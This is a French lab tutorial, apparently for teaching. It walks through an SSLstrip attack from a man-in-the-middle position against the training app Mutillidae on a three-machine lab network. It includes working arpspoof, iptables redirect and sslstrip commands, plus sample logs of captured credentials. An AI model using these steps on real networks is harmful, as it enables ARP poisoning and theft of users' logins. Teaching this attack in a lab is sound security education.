Dossier 2 : Attaque *SSLSTRIP* via un positionnement *MITM*

Étape n°1 : Préparation de l'environnement de travail

Commencer par activer le **module *SSL*** ainsi que le ***virtualhost HTTPS*** associé à l'application *Mutillidae*. Pour cela, notre maquette de travail comprendre trois machines au sein d'un même réseau, le serveur *Mutillidae*, la victime et l'attaquant.

Travail sur la machine hébergeant l'application *Mutillidae* :

```
#a2enmod ssl
```

```
#a2ensite default-ssl.conf
```

Redémarrer ensuite le serveur *Apache*.

```
#service apache2 restart
```

Travail sur la machine victime :

Il faut ensuite démarrer une nouvelle machine du contexte qui fera office de machine victime. Cette machine doit avoir accès à l'application *Web Mutillidae* via son navigateur. Rien n'est à installer sur cette machine, elle doit simplement disposer d'un navigateur.

Travail sur la machine attaquante :

Il s'agit de la machine précédemment utilisée sur laquelle est installé *BurpSuite* (non utilisé dans ce défi). Nous allons enrichir cette machine attaquante de deux nouveaux outils :

- *arpspoof* pour réaliser le positionnement *MITM* (*Man In The Middle*) via un empoisonnement de cache *arp* ;
- *sslstrip* pour tromper la redirection *HTTPS* afin de capturer les identifiants de connexion.

Ces outils s'installent avec la commande suivante.

```
#apt install dsniff sslstrip
```

Il faut ensuite activer le routage (flux traversants) sur notre machine attaquante. C'est en effet depuis cette machine que les flux de la victime transiteront. Pour cela, ouvrir le fichier */etc/sysctl.conf* et supprimer le commentaire sur la ligne suivante :

```
# Uncomment the next line to enable packet forwarding for IPv4
net.ipv4.ip_forward=1
```

Enfin, il faut programmer une redirection vers le serveur ***sslstrip*** sur les flux capturés :

```
#iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 7777
```

```
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port
 8080
```

Attention, pour que l'effet de redirection de cette commande soit persistant, il serait préférable de l'intégrer dans un script lancé automatiquement au démarrage.

Étape n°2 : Réalisation de l’attaque

Travail sur la machine attaquante :
Après avoir relevé l’adresse IP de la victime, ouvrir un terminal et lancer la commande d’empoisonnement suivante :

```
#arpspoof -i enps03 -t <ip-victime>  <ip-serveur-mutillidae>
```

Il faut remplacer la valeur *enp0s3* par le label de l’interface utilisée par la machine attaquante (*eth0*, *eth1*, *enp0s8*…). Dans la capture d’écran ci-dessous la victime a pour adresse IP 192.168.0.24 et le serveur a pour adresse IP 192.168.0.18.

Le label de l’interface peut se trouver à l’aide des commandes suivantes : **ifconfig**, **ip a** ou **lshw -c network**.

```
root@prof:~/Téléchargements# arpspoof -i enp0s3 -t 192.168.0.24 192.168.0.18
8:0:27:13:2a:69 8:0:27:cb:70:1b 0806 42: arp reply 192.168.0.18 is-at 8:0:27:13:2a:69
8:0:27:13:2a:69 8:0:27:cb:70:1b 0806 42: arp reply 192.168.0.18 is-at 8:0:27:13:2a:69
8:0:27:13:2a:69 8:0:27:cb:70:1b 0806 42: arp reply 192.168.0.18 is-at 8:0:27:13:2a:69
8:0:27:13:2a:69 8:0:27:cb:70:1b 0806 42: arp reply 192.168.0.18 is-at 8:0:27:13:2a:69
8:0:27:13:2a:69 8:0:27:cb:70:1b 0806 42: arp reply 192.168.0.18 is-at 8:0:27:13:2a:69
8:0:27:13:2a:69 8:0:27:cb:70:1b 0806 42: arp reply 192.168.0.18 is-at 8:0:27:13:2a:69
```

Ouvrir ensuite un deuxième terminal afin de préparer le serveur *sslstrip* en écoute sur le port choisi 7777.

```
#sslstrip -l 7777
```

```
root@prof:~/Téléchargements# sslstrip -l 7777

sslstrip 0.9 by Moxie Marlinspike running...
```

Travail sur la machine de la victime:
Ouvrir le navigateur et se connecter à l’application *Mutillidae* en *HTTP*.

```
http://<ip-serveur>/mutillidae
```

Ensuite, cliquer sur le bouton *Enforce SSL* situé en haut de la page.

Ensuite, se rendre sur la page d’authentification en cliquant sur ***Login/register***. Normalement, une redirection *HTTPS* est mise en place mais celle-ci est inopérante en raison de l’attaque *SSLSTRIP*. Si vous recommencez l’opération sans l’attaque vous devriez être en *HTTPS*.

Tenter une authentification quelconque en saisissant un login et un mot de passe. Comme la connexion est en *HTTP*, l’attaquant peut capturer les identifiants.

Travail sur la machine de l’attaquant:
Depuis le répertoire où est exécuté le serveur *SSLSTRIP*, ouvrir le fichier *sslstrip.log*. Celui doit contenir tous les identifiants capturés lors de l’attaque.

```
prof@prof:~/Téléchargements$ cat sslstrip.log
2019-08-08 19:02:14,451 SECURE POST Data (192.168.0.18):
username=test&password=ok&login-php-submit-button=Login
```